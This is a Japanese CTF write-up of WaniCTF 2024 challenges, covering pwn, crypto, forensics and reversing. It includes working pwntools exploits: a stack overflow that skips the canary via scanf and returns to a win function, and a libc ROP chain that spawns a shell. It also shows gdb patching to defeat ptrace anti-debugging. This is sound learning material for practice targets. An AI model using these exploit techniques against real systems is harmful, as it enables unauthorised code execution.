WaniCTF 2024 - Writeup

# 初めに
SOCの仲間3名でWaniCTF 2024に参加しました。
自分が解いた問題のWriteupになります。
ほぼRevとPwnの内容になると思います。

https://wanictf.org/

スコアはこんな感じでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6b734878-5953-2824-8437-f3c3949ab830.png)

# Pwnable
## do_not_rewrite
バイナリが渡されます。
ソースも渡されるので中身をみます。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    double calories_per_gram;
    double amount_in_grams;
    char name[50];
} Ingredient;

void init(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    alarm(180);
}

void show_flag(){
    printf("\nExcellent!\n");
    system("cat FLAG");
}

double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
    double total_calories = 0.0;
    for (int i = 0; i < num_ingredients; i++) {
        total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
    }
    return total_calories;
}

int main() {
    init();

    Ingredient ingredients[3];
    printf("hint: show_flag = %p\n", (void *)show_flag);

    for (int i = 0; i <= 3; i++) {
        printf("\nEnter the name of ingredient %d: ", i + 1);
        scanf("%s", ingredients[i].name);

        printf("Enter the calories per gram for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].calories_per_gram);

        printf("Enter the amount in grams for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].amount_in_grams);
    }

    double total_calories = calculate_total_calories(ingredients, 3);

    printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);

    return 0;
}
```
ぱっと見`name[50]`にバッファオーバーフローがあるのが分かります。RIPを`show_flag()`にすれば良さそうです。
機構を確認します。
![スクリーンショット 2024-06-23 205212.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/aaff407b-c516-53f4-e425-58ee1cd850fa.png)
CanaryがいるのでCanaryBypassがいります。
実際に実行してみます。
![スクリーンショット 2024-06-23 205102.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5e16fdaf-cc6d-fc7a-f3fd-de3350bfb315.png)
show_flagのメモリ位置が見えるのでAddressは分かるのですが、普通に実行しただけでCanaryに引っかかってます。
Ghidraで見たところ、caloriesやamountのStackで引っかかってそう。

一番最初に思いつくBypassする方法はprintfを利用して`name`と一緒にCanaryも表示させるCanaryのリークですが、今回getsなどではなくscanfを利用しているので末尾に`\x00`が追加され、Canaryリークできません。
以下200文字の`a`を入力した際。`0x7fffffffe0e8`のアドレスにあるCanaryが見えます。
![スクリーンショット 2024-06-23 210859.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/96ec9d60-93f6-2f4e-571a-00ce188560ef.png)
次は201文字。Canaryが変わってるのは別の実行機会のものだからです。末尾にa（`\x61`）と`\x00`があるのが分かります。
![スクリーンショット 2024-06-23 210938.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6ec15b31-a934-a9e4-f2ea-92437293e8e7.png)

なのでCanaryを別の方法でBypassする必要があります。
以下の箇所に注目します。
```c
scanf("%lf", &ingredients[i].calories_per_gram)
```
double型を利用しているのでここに文字列を入れ込んで次の処理へスキップさせます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/eb7ce9be-e717-8a51-8307-e767e1b7fbd8.png)
そうすると次のStructの設定に飛ぶことが可能です。

リターンアドレスに関しては`ingredient 4`の部分の書き込みで制御できます。
![スクリーンショット 2024-06-23 213003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/1ecca8d1-5797-e91c-4317-3dba9e9cacc4.png)
![スクリーンショット 2024-06-23 213123.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8ed6580a-cbd9-7bf9-28bf-ed7fd8a56628.png)
後はコーディングをしてshow_flagに飛ばすだけですが、64bitバイナリでよくあるStackのバイト調整のために`ret`命令を挟む必要があります。show_flagのアドレスが判明しているので相対アドレスは変わらないことを考え、retのアドレス調整をします。
```python
ret = show_flag + (0x0000555555555527 - 0x000055555555525f)

# 0x0000555555555527 ret local
# 0x000055555555525f show_flag local
```
Solverは以下のようになりました。
```python
from pwn import *

context.log_level = "debug"

binfile = './chall'
rhost = 'chal-lz56g6.wanictf.org'
rport = 9004

elf = ELF(binfile)
context.binary = elf

p = remote(rhost, rport)
p.recvuntil(b'show_flag = ')
show_flag = int(p.recvline()[:-1].decode(), 16)
print('win', hex(show_flag))

ret = show_flag + (0x0000555555555527 - 0x000055555555525f)

payload = pack(ret)
payload += pack(show_flag)


p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, payload)

p.sendlineafter(b'ingredient 4: ', b'\x00')

p.interactive()
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b32801e6-a0c5-4e81-f1bc-b1a912a61d1a.png)

## do_not_rewrite2
ほぼ同じコードが渡されます。
show_flagがなくなったのでROPでShellを取る問題。
printfのアドレスがshow_flagに代わって渡されるのでそのアドレスを元にlibcのアドレスを算出し、ROPするだけでOK。
以下がSolver
```python
from pwn import *
import time

context.log_level = "debug"

binfile = './chall'
libcfile = './libc.so.6'

rhost = 'chal-lz56g6.wanictf.org'
rport = 9005

elf = ELF(binfile)
context.binary = elf
libc = ELF(libcfile)

p = remote(rhost, rport)
p.recvuntil(b'printf = ')
libc_leak = int(p.recvline()[:-1].decode(), 16)
libc.address = libc_leak - (0x7ffff7c600f0-0x00007ffff7c00000)
print('libc', hex(libc.address))

rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh\x00')), 0)

p.sendlineafter(b'ingredient 1', b'a'*4)
p.sendlineafter(b'a'*4, b'b'*4)
p.sendlineafter(b'b'*4, b'c'*4)
p.sendlineafter(b'c'*4, rop.chain())

p.sendlineafter(b'ingredient 4: ', b'\x00')

p.interactive()
```
![スクリーンショット 2024-06-22 022103.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/834ac4c3-f1a5-3817-966e-4015c59c3398.png)

# Web
## Bad_Worker
DUMMY.txtの部分をFLAG.txtにしたら出てきた。

# Crypto
## replacement
以下のテキストファイルとpythonファイルを渡されます。
```my_diary_11_8_Wednesday.txt
[265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112, 

...省略
```
```python:chall.py
from secret import cal
import hashlib

enc = []
for char in cal:
    x = ord(char)
    x = hashlib.md5(str(x).encode()).hexdigest()
    enc.append(int(x, 16))
        
with open('my_diary_11_8_Wednesday.txt', 'w') as f:
    f.write(str(enc))
```
MD5の値を総当たりで復元できないかなと思ってGitHub Copilot Chatさんにききました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cf4378fc-0ac9-0806-9cc9-f4cc11743e9f.png)
ありがとうCopilotさん。以下がSolver。
```python
import hashlib

# ハッシュ値のリストをファイルから読み込む
with open('my_diary_11_8_Wednesday.txt', 'r') as f:
    enc = eval(f.read())

# ASCII文字の範囲でブルートフォース
original_chars = []
for hash_val in enc:
    found = False
    for char_code in range(32, 127):  # ASCIIの印刷可能文字
        test_hash = hashlib.md5(str(char_code).encode()).hexdigest()
        if int(test_hash, 16) == hash_val:
            original_chars.append(chr(char_code))
            found = True
            break
    if not found:
        original_chars.append('?')  # 一致するものが見つからない場合はプレースホルダ

# 復元された文字列を表示
print(''.join(original_chars))
```

# Forensics
## mem_search
メモリダンプファイルが渡されます。
解析はremnuxさんで行います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ddb7313c-a398-84e1-7d92-97cfe09e6100.png)
Windowsマシンぽいです。
とりあえず、プロセス見ます。
```bash
remnux@remnux:~/Downloads$ vol3 -f chal_mem_search.DUMP windows.pstree
Volatility 3 Framework 2.5.0
Progress:  100.00		PDB scanning finished                                
PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime

4	0	System	0xcd88c7a97040	168	-	N/A	False	2024-05-11 09:31:11.000000 	N/A
* 72	4	Registry	0xcd88c7a85080	4	-	N/A	False	2024-05-11 09:31:06.000000 	N/A
* 528	4	smss.exe	0xcd88c9ac8040	2	-	N/A	False	2024-05-11 09:31:11.000000 	N/A
* 1812	4	MemCompression	0xcd88c7b25040	46	-	N/A	False	2024-05-11 09:31:16.000000 	N/A
632	624	csrss.exe	0xcd88c946a080	10	-	0	False	2024-05-11 09:31:13.000000 	N/A
704	624	wininit.exe	0xcd88cb7d1080	1	-	0	False	2024-05-11 09:31:13.000000 	N/A
* 824	704	services.exe	0xcd88cbe3c100	8	-	0	False	2024-05-11 09:31:13.000000 	N/A
** 1920	824	svchost.exe	0xcd88cc2ea080	11	-	0	False	2024-05-11 09:31:16.000000 	N/A
*** 7652	1920	audiodg.exe	0xcd88cd7240c0	7	-	0	False	2024-05-11 09:33:47.000000 	N/A
** 2560	824	MsMpEng.exe	0xcd88cc68a0c0	30	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 4100	824	svchost.exe	0xcd88ccb8d080	6	-	0	False	2024-05-11 09:31:30.000000 	N/A
** 8	824	svchost.exe	0xcd88cc453080	11	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 5776	824	svchost.exe	0xcd88cd740080	11	-	0	False	2024-05-11 09:31:44.000000 	N/A
** 2452	824	MpDefenderCore	0xcd88cc5f1080	8	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1176	824	svchost.exe	0xcd88cc048080	16	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 2968	824	dllhost.exe	0xcd88cc8550c0	18	-	0	False	2024-05-11 09:31:20.000000 	N/A
** 3104	824	dllhost.exe	0xcd88cca5a300	14	-	0	False	2024-05-11 09:31:21.000000 	N/A
** 4768	824	NisSrv.exe	0xcd88cd26c080	5	-	0	False	2024-05-11 09:31:36.000000 	N/A
** 1956	824	svchost.exe	0xcd88cc2ef080	5	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 1704	824	svchost.exe	0xcd88cc1de340	3	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 2552	824	vmtoolsd.exe	0xcd88cc626140	11	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1200	824	svchost.exe	0xcd88cc06b300	18	-	0	False	2024-05-11 09:31:14.000000 	N/A
*** 2520	1200	dasHost.exe	0xcd88cc55f300	6	-	0	False	2024-05-11 09:31:18.000000 	N/A
*** 6636	1200	ctfmon.exe	0xcd88cdd4a240	17	-	1	False	2024-05-11 09:31:56.000000 	N/A
*** 6668	1200	TabTip.exe	0xcd88cdbc90c0	8	-	1	False	2024-05-11 09:31:56.000000 	N/A
*** 1340	1200	TabTip.exe	0xcd88cde33080	0	-	1	False	2024-05-11 09:33:52.000000 	2024-05-11 09:33:52.000000 
** 4528	824	VSSVC.exe	0xcd88cd0a5080	4	-	0	False	2024-05-11 09:31:34.000000 	N/A
** 1976	824	svchost.exe	0xcd88cc2f2240	4	-	0	False	2024-05-11 09:31:16.000000 	N/A
** 568	824	svchost.exe	0xcd88cbf45340	13	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 4536	824	svchost.exe	0xcd88ccd71080	5	-	1	False	2024-05-11 09:31:34.000000 	N/A
** 1600	824	svchost.exe	0xcd88cc1d8300	16	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 1220	824	svchost.exe	0xcd88cc454080	14	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 844	824	SecurityHealth	0xcd88cdf46300	15	-	0	False	2024-05-11 09:32:06.000000 	N/A
** 976	824	svchost.exe	0xcd88cbe912c0	24	-	0	False	2024-05-11 09:31:13.000000 	N/A
*** 6400	976	SkypeApp.exe	0xcd88cd5c9080	14	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 6496	976	backgroundTask	0xcd88cdd46240	11	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 1764	976	dllhost.exe	0xcd88cc983340	5	-	0	False	2024-05-11 09:31:20.000000 	N/A
*** 4164	976	WmiPrvSE.exe	0xcd88cd46e300	10	-	0	False	2024-05-11 09:31:39.000000 	N/A
*** 5476	976	RuntimeBroker.	0xcd88cd7990c0	14	-	1	False	2024-05-11 09:31:42.000000 	N/A
*** 4228	976	TextInputHost.	0xcd88cdd17080	21	-	1	False	2024-05-11 09:31:48.000000 	N/A
*** 3912	976	StartMenuExper	0xcd88cd388080	9	-	1	False	2024-05-11 09:31:39.000000 	N/A
*** 7036	976	RuntimeBroker.	0xcd88c7b27080	6	-	1	False	2024-05-11 09:31:59.000000 	N/A
*** 5196	976	RuntimeBroker.	0xcd88cd546080	3	-	1	False	2024-05-11 09:31:40.000000 	N/A
*** 4976	976	TiWorker.exe	0xcd88cd5540c0	3	-	0	False	2024-05-11 09:31:39.000000 	N/A
*** 5392	976	SearchApp.exe	0xcd88cd6b60c0	39	-	1	False	2024-05-11 09:31:41.000000 	N/A
*** 6264	976	RuntimeBroker.	0xcd88cd29b080	11	-	1	False	2024-05-11 09:32:02.000000 	N/A
*** 3028	976	WmiPrvSE.exe	0xcd88cc908300	11	-	0	False	2024-05-11 09:31:20.000000 	N/A
*** 5012	976	dllhost.exe	0xcd88cbfe9080	12	-	1	False	2024-05-11 09:32:03.000000 	N/A
*** 6484	976	smartscreen.ex	0xcd88cd445080	9	-	1	False	2024-05-11 09:32:06.000000 	N/A
*** 6424	976	SkypeBackgroun	0xcd88cd834080	4	-	1	False	2024-05-11 09:31:55.000000 	N/A
*** 6460	976	SearchApp.exe	0xcd88cde0c240	14	-	1	False	2024-05-11 09:31:55.000000 	N/A
** 1360	824	svchost.exe	0xcd88cc0ce340	25	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 1488	824	spoolsv.exe	0xcd88cc413300	7	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 2512	824	VGAuthService.	0xcd88cc5dc080	3	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1492	824	svchost.exe	0xcd88cc1cf0c0	24	-	0	False	2024-05-11 09:31:15.000000 	N/A
** 856	824	svchost.exe	0xcd88cc984080	4	-	0	False	2024-05-11 09:31:20.000000 	N/A
** 2396	824	svchost.exe	0xcd88cc57f080	14	-	0	False	2024-05-11 09:31:18.000000 	N/A
** 1632	824	svchost.exe	0xcd88cc4182c0	7	-	0	False	2024-05-11 09:31:17.000000 	N/A
** 2912	824	SearchIndexer.	0xcd88cc8592c0	19	-	0	False	2024-05-11 09:31:19.000000 	N/A
*** 7600	2912	SearchProtocol	0xcd88ce2800c0	9	-	0	False	2024-05-11 09:33:13.000000 	N/A
*** 5164	2912	SearchProtocol	0xcd88ce2ab340	6	-	1	False	2024-05-11 09:33:09.000000 	N/A
*** 5716	2912	SearchFilterHo	0xcd88cd26b300	7	-	0	False	2024-05-11 09:33:10.000000 	N/A
** 7804	824	SgrmBroker.exe	0xcd88cd0ab2c0	7	-	0	False	2024-05-11 09:33:20.000000 	N/A
** 4196	824	msdtc.exe	0xcd88cd028300	12	-	0	False	2024-05-11 09:31:31.000000 	N/A
** 1128	824	svchost.exe	0xcd88cc035340	23	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 4588	824	TrustedInstall	0xcd88cd3c02c0	4	-	0	False	2024-05-11 09:31:39.000000 	N/A
** 1136	824	svchost.exe	0xcd88cc034080	16	-	0	False	2024-05-11 09:31:14.000000 	N/A
** 2544	824	vm3dservice.ex	0xcd88cc5af080	3	-	0	False	2024-05-11 09:31:18.000000 	N/A
*** 2776	2544	vm3dservice.ex	0xcd88cc6f6280	3	-	1	False	2024-05-11 09:31:19.000000 	N/A
** 4084	824	svchost.exe	0xcd88ccb91080	13	-	1	False	2024-05-11 09:31:26.000000 	N/A
** 8180	824	svchost.exe	0xcd88cd5a42c0	14	-	0	False	2024-05-11 09:33:21.000000 	N/A
** 1144	824	svchost.exe	0xcd88cc038080	73	-	0	False	2024-05-11 09:31:14.000000 	N/A
*** 4056	1144	sihost.exe	0xcd88ccb9b300	14	-	1	False	2024-05-11 09:31:26.000000 	N/A
**** 6132	4056	msedge.exe	0xcd88cdd1a0c0	0	-	1	False	2024-05-11 09:31:48.000000 	2024-05-11 09:31:51.000000 
*** 3560	1144	MicrosoftEdgeU	0xcd88ccbcd080	4	-	0	True	2024-05-11 09:31:26.000000 	N/A
*** 3488	1144	taskhostw.exe	0xcd88ccbce080	11	-	1	False	2024-05-11 09:31:26.000000 	N/A
** 2940	824	svchost.exe	0xcd88cc86b080	28	-	0	False	2024-05-11 09:31:20.000000 	N/A
* 832	704	lsass.exe	0xcd88cbe4e080	11	-	0	False	2024-05-11 09:31:13.000000 	N/A
* 936	704	fontdrvhost.ex	0xcd88cbe8a0c0	5	-	0	False	2024-05-11 09:31:13.000000 	N/A
712	696	csrss.exe	0xcd88cb7d9140	11	-	1	False	2024-05-11 09:31:13.000000 	N/A
760	696	winlogon.exe	0xcd88cb7f5080	7	-	1	False	2024-05-11 09:31:13.000000 	N/A
* 928	760	fontdrvhost.ex	0xcd88cbe8c1c0	5	-	1	False	2024-05-11 09:31:13.000000 	N/A
* 796	760	dwm.exe	0xcd88cbfe8080	16	-	1	False	2024-05-11 09:31:14.000000 	N/A
* 2200	760	userinit.exe	0xcd88cc57e2c0	0	-	1	False	2024-05-11 09:31:29.000000 	2024-05-11 09:31:59.000000 
** 3576	2200	explorer.exe	0xcd88ccb92080	82	-	1	False	2024-05-11 09:31:29.000000 	N/A
*** 4416	3576	vmtoolsd.exe	0xcd88cdf48300	9	-	1	False	2024-05-11 09:32:07.000000 	N/A
*** 4076	3576	msedge.exe	0xcd88cdf47080	62	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 5760	4076	msedge.exe	0xcd88cdbb2080	16	-	1	False	2024-05-11 09:32:10.000000 	N/A
**** 7236	4076	msedge.exe	0xcd88ce247080	15	-	1	False	2024-05-11 09:32:11.000000 	N/A
**** 6532	4076	msedge.exe	0xcd88cd080080	14	-	1	False	2024-05-11 09:33:30.000000 	N/A
**** 3964	4076	msedge.exe	0xcd88cd408340	14	-	1	False	2024-05-11 09:33:09.000000 	N/A
**** 108	4076	msedge.exe	0xcd88ccb9a080	8	-	1	False	2024-05-11 09:33:29.000000 	N/A
**** 3700	4076	msedge.exe	0xcd88cd8b6080	8	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 5684	4076	msedge.exe	0xcd88cdbe3340	15	-	1	False	2024-05-11 09:32:09.000000 	N/A
**** 4696	4076	msedge.exe	0xcd88cd8ba080	9	-	1	False	2024-05-11 09:32:10.000000 	N/A
**** 7292	4076	msedge.exe	0xcd88ce270080	17	-	1	False	2024-05-11 09:32:11.000000 	N/A
*** 7372	3576	OneDrive.exe	0xcd88ce276080	29	-	1	False	2024-05-11 09:32:12.000000 	N/A
*** 6608	3576	cmd.exe	0xcd88cdf42080	1	-	1	False	2024-05-11 09:32:06.000000 	N/A
**** 4264	6608	conhost.exe	0xcd88cdf49080	5	-	1	False	2024-05-11 09:32:06.000000 	N/A
*** 5456	3576	notepad.exe	0xcd88ce2ed340	5	-	1	False	2024-05-11 09:33:19.000000 	N/A
*** 2704	3576	powershell.exe	0xcd88ce279080	0	-	1	False	2024-05-11 09:33:52.000000 	2024-05-11 09:33:56.000000 
**** 7844	2704	msedge.exe	0xcd88cd7ac080	0	-	1	True	2024-05-11 09:33:55.000000 	2024-05-11 09:33:57.000000 
*** 3892	3576	SecurityHealth	0xcd88cdf41080	7	-	1	False	2024-05-11 09:32:06.000000 	N/A
remnux@remnux:~/Downloads$ 
```
`cmd.exe`か`powershell.exe`辺り見ていきたいのと`msedge.exe`がpowershellの子プロセスなので怪しい。しっかり見たほうが良さそう。ここら辺はSOCの目利きですね。
`msedge.exe`のメモリダンプをを以下コマンドで抽出します。
```bash
vol3 -f chal_mem_search.DUMP windows.memmap --pid 7844 --dump
```
通信先を雑にgrepで調べます。
```bash
remnux@remnux:~/Downloads$ strings pid.7844.dmp | grep http:
```
![スクリーンショット 2024-06-23 221657.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/224c67c9-a62f-2c50-83b9-4777204f197e.png)
それっぽい文字列を見つけたのでこれをBase64デコードします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f6474208-aec5-a3ca-4b1a-716b8cbad01a.png)

# Reversing
## home
実行ファイルが渡されるので実行してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/438ab355-0dc9-a4b1-21a3-ad049d7440a4.png)
なんだこれ、Ghidraに食わせます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/bbae3376-a18a-b098-8817-50f31f554e61.png)
`getcwd`でディレクトリ判定しているのが見えます。`ptrace`でデバック判定もしてそうです。
とりあえずディレクトリ作ってgdbで見ます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/33997544-378d-2b3f-124e-fb92e0844738.png)
デバッカブロックされました。んじゃこの関数の結果を改ざんします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f38db428-21a5-0852-25ab-bcc6374b7f11.png)
`0x00005555555559ee`にブレークポイントを打ちます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/88155236-0ec2-66e4-d755-ce9e6e102042.png)
`rax`に結果が格納されてますが、これを0にします。これでBypassできます。
![スクリーンショット 2024-06-23 223708.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c5dae3a1-6951-0815-68e9-7aefd31a3991.png)
あとは`constructFlag`を呼んで、Flagを探します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7c0bcb1c-5798-f944-f5fc-d47c825702ce.png)

## Thread
実行ファイルが渡されるので実行してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9bd96be7-a943-6cf2-ebd5-d2649d3b7cf0.png)
フラグ判定バイナリみたいです。
Ghidraで確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2d49dbe4-7786-10ba-8803-9da78b31d032.png)
フラグの長さは`0x2d`で各フラグ文字に対して`FUN_00101289`を実行するスレッドを作成してゴニョニョしたあとに`DAT_00104020`の文字列と比較するみたいです。
比較対象はこんな感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c8969aa9-bdaa-be4c-03ae-1a451951af1e.png)
`FUN_00101289`の中身を確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d03dfff4-ef54-b1eb-6948-6039f2cda266.png)
3で割った余りに対して各処理を順番に実行するといった内容のようです。
1処理だけではなく全て実行します。開始処理の順番が異なります。
こういうのはGDBで追ったほうが分かりやすいので見ることをお勧めします。

後はその順番を逆順で流すだけでいいです。
solverはこうなりました。
```python
param=[0xa8,0x8a,0xbf,0xa5,0x2fd,0x59,0xde,0x24,0x65,0x10f,0xde,0x23,0x15d,0x42,0x2c,0xde,0x09,0x65,0xde,0x51,0xef,0x13f,0x24,0x53,0x15d,0x48,0x53,0xde,0x09,0x53,0x14b,0x24,0x65,0xde,0x36,0x53,0x15d,0x12,0x4a,0x124,0x3f,0x5f,0x14e,0xd5,0x0b]

flag = []

for i in range(len(param)):
    if i % 3 == 0:
        flag.append(chr(int(((param[i] ^ 0x7f) - 5) / 3)))
    elif i % 3 == 1:
        flag.append(chr((int(param[i] / 3) ^ 0x7f ) - 5))
    elif i % 3 == 2:
        flag.append(chr(int((param[i] -5 ) / 3 ) ^ 0x7f))

print(''.join(flag))
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fd39d4eb-63c2-b4fd-4df5-2d494fef1f3c.png)

## gates
実行ファイルを渡されるので実行してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e226cd71-436c-841a-25ff-a416b1b7fc43.png)
これもフラグ判定バイナリのようです。
Ghidraで確認します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/65fd2c83-6a7d-26d2-b637-c7aaab5c9638.png)
`DAT_0010404`から`DAT_0010424c`まで`0x10`ごとのメモリ番地に値を受け取り（0x20文字分）、`FUN_00101220`の処理を`0x100`繰り返すようです。
その後に、フラグの`DAT_00104020`と変換した入力`DAT_00104e4d`を比較するといったながれですね。
比較対象の`DAT_00104020`はこんな感じです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4faad320-9944-40dc-fd46-50594ddb3e81.png)
`FUN_00101220`の中身を見てみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ab3279c7-0828-7615-c624-37a94642e25e.png)
`puVar7`のある部分が3の場合はXORの処理、1か2の場合は足し算の処理、4の場合はスルー（そのままメモリに投入）のような処理をしています。
`DAT_00104040`の周りを見ていれば気になるバイトが見えます。`DAT_0010424c`です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8241dbb4-d3f1-0c7c-4ea7-6eca8eb3b087.png)
ここに何かヒントがありそうなのでGDBを見ます。
適当に`FLAGaaaaaaaaaaaaaaaaaaaaaaaaaaaa`とか入れます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b82fc9cd-6346-c8e0-bebb-09a371b59b5c.png)
RDXに処理のビット、RAXが参照しているメモリであることが分かります。適当に流しますがビットが0なのでしばらくは何も目立った動きはないです。暫くGDBを回します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/fd84aca3-3c26-519a-0b54-77e63f6c147d.png)
`rax`が`250`の番地を参照し始めてビットが変わりました。これで1の処理を実行します。
Ghidraでいうと`DAT_00104250`がビットになってるみたいです。
処理を流します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c00dd895-f621-5c35-1231-64171131ad80.png)
`rdi`に`DAT_0010424d`のバイト`0x67`が出現していることが分かります。
恐らくこれと`F`の文字を足すと思われます。一応予測値を確認しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b7e1e7a1-d47a-858b-94cc-900f4a8ecd62.png)
GDBを流します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/90c535be-1a87-071b-dddd-c31be41649eb.png)
`rdi`に出てきました。
大体理解できたと思います。`DAT_0010424c`のバイト列は以下のような並びになってます。

+ `DAT_00104250 + 0x10*num`が処理を判定するビット（0もあります）
+ `DAT_0010424d + 0x10*num`が入力に対する処理をするときの変数

後は`DAT_0010424c`のバイト列を抜き出してSolverを作るだけです。
以下のようになりました。
```python
param_flag=[0x3b,0x09,0xe5,0xae,0x3e,0xf1,0x37,0x81,0xfc,0xa1,0x99,0xae,0xf7,0x62,0x7d,0xf7,0xd0,0xcb,0xa2,0x18,0xcd,0x3e,0x89,0x0d,0xd9,0xdd,0x62,0x29,0x8c,0xf3,0x01,0xec]


param_1_add = [0x67,0xc6,0x69,0x73,0x51,0xff,0x4a,0xec,0x29,0xcd,0xba,0xab,0xf2,0xfb,0xe3,0x46,0x7c,0xc2,0x54,0xf8,0x1b,0xe8,0xe7,0x8d,0x76,0x5a,0x2e,0x63,0x33,0x9f,0xc9,0x9a]
param_3_xor = [0x66,0x32,0x0d,0xb7,0x31,0x58,0xa3,0x5a,0x25,0x5d,0x05,0x17,0x58,0xe9,0x5e,0xd4,0xab,0xb2,0xcd,0xc6,0x9b,0xb4,0x54,0x11,0x0e,0x82,0x74,0x41,0x21,0x3d,0xdc,0x87]
param_2_add = [0x70,0xe9,0x3e,0xa1,0x41,0xe1,0xfc,0x67,0x3e,0x01,0x7e,0x97,0xea,0xdc,0x6b,0x96,0x8f,0x38,0x5c,0x2a,0xec,0xb0,0x3b,0xfb,0x32,0xaf,0x3c,0x54,0xec,0x18,0xdb,0x5c]

def adjust_values(param_flag, param_add):
    for i in range(len(param_flag)):
        if param_flag[i] - param_add[i] < 0:
            param_flag[i] = (param_flag[i] + 0x100) - param_add[i]
        else:
            param_flag[i] -= param_add[i]
    return param_flag
  
def xor_values(param_flag, param_3_xor):
    for i in range(len(param_flag)):
        param_flag[i] ^= param_3_xor[i]
    return param_flag
  
adjust_values(param_flag, param_2_add)
xor_values(param_flag, param_3_xor)
adjust_values(param_flag, param_1_add)

flag = []
for i in range(len(param_flag)):
    flag.append(chr(param_flag[i]))

print("".join(flag))
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ab6f7258-e484-e81d-0a12-22225b3dcad1.png)

# 最後に
Revのラスボスを解けなかったのは悔しかったですが、とても楽しいCTFでした。
チームには完全初心者も参加していたので楽しい経験になってくれていれば嬉しいです。

運営の皆さんありがとうございました。